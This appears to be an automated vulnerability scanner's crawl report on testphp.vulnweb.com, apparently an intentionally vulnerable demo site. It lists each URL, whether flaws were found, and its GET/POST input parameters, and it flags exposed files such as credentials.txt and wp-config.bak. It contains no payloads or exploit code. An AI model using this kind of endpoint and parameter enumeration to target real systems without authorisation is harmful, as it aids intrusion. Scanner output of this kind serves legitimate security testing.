**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/color-printer/3/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/newuser.php**

Vulnerabilities has been identified for this URL

10 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| signup | URL encoded POST |

| **Input scheme 2** | |
|---|---|
| Input name | Input type |
| signup | URL encoded POST |
| uaddress | URL encoded POST |
| ucc | URL encoded POST |
| uemail | URL encoded POST |
| upass | URL encoded POST |

| | |
|---|---|
| upass2 | URL encoded POST |
| uphone | URL encoded POST |
| urname | URL encoded POST |
| uuname | URL encoded POST |

**URL: http://testphp.vulnweb.com/secured/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/office.htm**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/style.css**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/phpinfo.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

**Input scheme 1**

| Input name | Input type |
|---|---|
| | URL encoded GET |

**URL: http://testphp.vulnweb.com/secured/database_connect.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/office_files**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/secured/office_files/filelist.xml**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/sendcommand.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

**Input scheme 1**

| Input name | Input type |
|---|---|
| cart_id | URL encoded POST |

**URL: http://testphp.vulnweb.com/.idea/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/misc.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/vcs.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/workspace.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/.name**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/scopes/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/acuart.iml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/modules.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/.idea/encodings.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/CVS/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/CVS/Entries.Log**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/CVS/Repository**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/CVS/Root**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/CVS/Entries**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/redir.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| r | URL encoded GET |

**URL: http://testphp.vulnweb.com/_mmServerScripts/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/_mmServerScripts/MMHTTPDB.php**

No vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| Type | URL encoded POST |

**URL: http://testphp.vulnweb.com/_mmServerScripts/mysql.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/comment.php**

Vulnerabilities has been identified for this URL

17 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| aid | URL encoded GET |
| pid | URL encoded GET |
| name | URL encoded POST |

| Input scheme 2 | |
|---|---|
| Input name | Input type |
| comment | URL encoded POST |
| name | URL encoded POST |
| phpaction | URL encoded POST |
| Submit | URL encoded POST |

| Input scheme 3 | |
|---|---|
| Input name | Input type |
| aid | URL encoded GET |
| pid | URL encoded GET |
| comment | URL encoded POST |
| name | URL encoded POST |
| phpaction | URL encoded POST |
| Submit | URL encoded POST |

| Input scheme 4 | |
|---|---|
| Input name | Input type |
| aid | URL encoded GET |

| Input scheme 5 | |
|---|---|
| Input name | Input type |
| pid | URL encoded GET |

| Input scheme 6 | |
|---|---|
| Input name | Input type |
| aid | URL encoded GET |
| pid | URL encoded GET |

**URL: http://testphp.vulnweb.com/wvstests/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/wvstests/pmwiki_2_1_19/scripts/version.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/6.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/3.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/WS_FTP.LOG**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/wp-config.bak**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/ipaddresses.txt**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/path-disclosure-win.html**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/2.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/5.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/credentials.txt**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/4.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/7.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/1.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/pictures/8.jpg.tn**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/logout.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/adm1nPan3l/**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/adm1nPan3l/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/admin/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/admin/create.sql**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/404.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Templates/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Templates/main_dynamic_template.dwt.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/index.bak**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/product.php**

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| pic | URL encoded GET |

**URL: http://testphp.vulnweb.com/listproducts.php**

Vulnerabilities has been identified for this URL

4 input(s) found for this URL

**Inputs**

| **Input scheme 1** | |
|---|---|
| Input name | Input type |
| cat | URL encoded GET |

| **Input scheme 2** | |
|---|---|
| Input name | Input type |
| artist | URL encoded GET |
| cat | URL encoded GET |

| Input scheme 3 | |
|---|---|
| Input name | Input type |
| artist | URL encoded GET |

**URL: http://testphp.vulnweb.com/clientaccesspolicy.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/showimage.php**

Vulnerabilities has been identified for this URL

3 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| file | URL encoded GET |

| Input scheme 2 | |
|---|---|
| Input name | Input type |
| file | URL encoded GET |
| size | URL encoded GET |

**URL: http://testphp.vulnweb.com/signup.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/clearguestbook.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/cleanDatabase.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/test.js**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/adminPan3l/**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/adminPan3l/index.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/adminPan3l/style.css**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/bxss/vuln.php**

No vulnerabilities has been identified for this URL

1 input(s) found for this URL

**Inputs**

| Input scheme 1 | |
|---|---|
| Input name | Input type |
| id | URL encoded GET |

**URL: http://testphp.vulnweb.com/bxss/database_connect.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/crossdomain.xml**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Connections/**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/Connections/DB_Connection.php**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/database_connect.php**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias/img**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias/css**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias/css/main.css**

Vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias/js**

No vulnerabilities has been identified for this URL

No input(s) found for this URL

**URL: http://testphp.vulnweb.com/medias/js/common_functions.js**

Vulnerabilities has been identified for this URL

No input(s) found for this URL